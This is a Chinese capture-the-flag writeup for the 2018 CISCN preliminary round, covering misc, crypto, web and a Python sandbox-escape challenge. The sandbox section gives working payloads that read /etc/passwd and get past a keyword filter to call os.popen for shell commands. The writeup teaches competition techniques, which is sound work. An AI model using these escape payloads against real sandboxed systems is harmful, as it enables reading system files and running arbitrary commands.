2018CISCN初赛Writeup

这次国赛作为一个Web选手倍受打击,web需要pwn师傅,crypto需要反编译,misc需要内核分析,mong男落泪,以后要学习一下二进制知识了。写了几个自己做出来的题的writeup。

Misc

验证码[签到版]

开赛的时候以为是机器学习,尝试着随便点了点时间到了就拿到了flag,估计是出了非预期解。

picture

图片放入binwalk



提取出了97E4文件,文件内容是base64,解密。

开头是KP,后面有PK文件,是一个zip压缩包,用python提取。

1
2
3
4
5
6
7
import base64
input=open('97E4','r')
output=open('key.zip','wb')
key=input.read()
output.write(base64.b64decode(key))
input.close()
output.close()

将开头的KP修改为PK,打开压缩包,code文件有加密,注释里有提示。

网上找对应的报错信息,得到解压密码是integer division or modulo by zero

得到code,采用了uuencode,用linux解密得到flag。

run

这题是一个python的沙盒逃逸,题目要求getshell。

用类继承和全局变量方法可以直接读取文件。
print ().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read()

这里碰巧读到了题目的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-04-09 23:30:58
# @Author : Xu (you@example.org)
# @Link : https://xuccc.github.io/
# @Version : $Id$
from sys import modules
from cpython import get_dict
from types import FunctionType
main = modules['__main__'].__dict__
origin_builtins = main['__builtins__'].__dict__
def delete_type():
type_dict = get_dict(type)
del type_dict['__bases__']
del type_dict['__subclasses__']
def delete_func_code():
func_dict = get_dict(FunctionType)
del func_dict['func_code']
def safe_import(__import__,whiteList):
def importer(name,globals={},locals={},fromlist=[],level=-1):
if name in whiteList:
return __import__(name,globals,locals,fromlist,level)
else:
print "HAHA,[%s] has been banned~" % name
return importer
class ReadOnly(dict):
"""docstring for ReadOnlu"""
def __delitem__(self,keys):
raise ValueError(":(")
def pop(self,key,default=None):
raise ValueError(":(")
def popitem(self):
raise ValueError(":(")
def setdefault(self,key,value):
raise ValueError(":(")
def __setitem__(self,key,value):
raise ValueError(":(")
def __setattr__(self, name, value):
raise ValueError(":(")
def update(self,dict,**kwargs):
raise ValueError(":(")
def builtins_clear():
whiteList = "raw_input SyntaxError ValueError NameError Exception __import__".split(" ")
for mod in __builtins__.__dict__.keys():
if mod not in whiteList:
del __builtins__.__dict__[mod]
def input_filter(string):
ban = "exec eval pickle os subprocess input sys ls cat".split(" ")
for i in ban:
if i in string.lower():
print "{} has been banned!".format(i)
return ""
return string
# delete_type();
del delete_type
delete_func_code();del delete_func_code
builtins_clear();del builtins_clear
whiteMod = []
origin_builtins['__import__'] = safe_import(__import__,whiteMod)
safe_builtins = ReadOnly(origin_builtins);del ReadOnly
main['__builtins__'] = safe_builtins;del safe_builtins
del get_dict,modules,origin_builtins,safe_import,whiteMod,main,FunctionType
del __builtins__, __doc__, __file__, __name__, __package__
print """
____
| _ \ _ _ _ __
| |_) | | | | '_ \
| _ <| |_| | | | |
|_| \_\\__,_|_| |_|
Escape from the dark house built with python :)
Try to getshell then find the flag!
"""
while 1:
inp = raw_input('>>>')
cmd = input_filter(inp)
try:
exec cmd
except NameError, e:
print "wow something lose!We can\'t find it ! D:"
except SyntaxError,e:
print "Noob! Synax Wrong! :("
except Exception,e:
print "unknow error,try again :>"

这里过滤了ls,没法用func_globals,但是可以用__getattribute__('func_global' + 's')替代。在用popen函数getshell。

payload:print [].__class__.__base__.__subclasses__()[59].__init__.__getattribute__('func_global' + 's')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s /home/').read()

Crypto

oldstreamgame

类似于强网杯流密码的题目,明文在2^31~2^32之间,尝试用爆破的方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import base64
def lfsr(R,mask):
output = (R << 1) & 0xffffffff
i=(R&mask)&0xffffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
mask = 0b10100100000010000000100010010100
key=[]
f=open('./key','rb+')
for i in f.read():
key.append(ord(i))
for R in range(pow(2,31),pow(2,32)):#2147483648~4294967296
flag = True
r = R
print(R)
for i in range(100):
tmp = 0
for j in range(8):
(R, out) = lfsr(R, mask)
tmp = (tmp << 1) ^ out
if tmp != key[i]:
flag = False
break
if flag:
print(hex(r)[:])
break

由于内存太小,分组进行爆破,跑了很久才得到flag。

flag_in_your_hand

查看js,找到关键代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function ck(s) {
try {
ic
} catch (e) {
return;
}
var a = [118, 104, 102, 120, 117, 108, 119, 124, 48, 123, 124, 105];
if (s.length == a.length) {
for (i = 0; i < s.length; i++) {
if (a[i] - s.charCodeAt(i) != 3)
return ic = false;
}
return ic = true;
}
return ic = false;
}

用脚本跑出s。

1
2
3
4
5
a = [118, 104, 102, 120, 117, 108, 119, 124, 48, 123, 124, 105]
s = ""
for i in a:
s+=chr(i-3)
print s

提交到html得到flag

Web

easyweb

username为admin,密码置空即可登陆得到flag。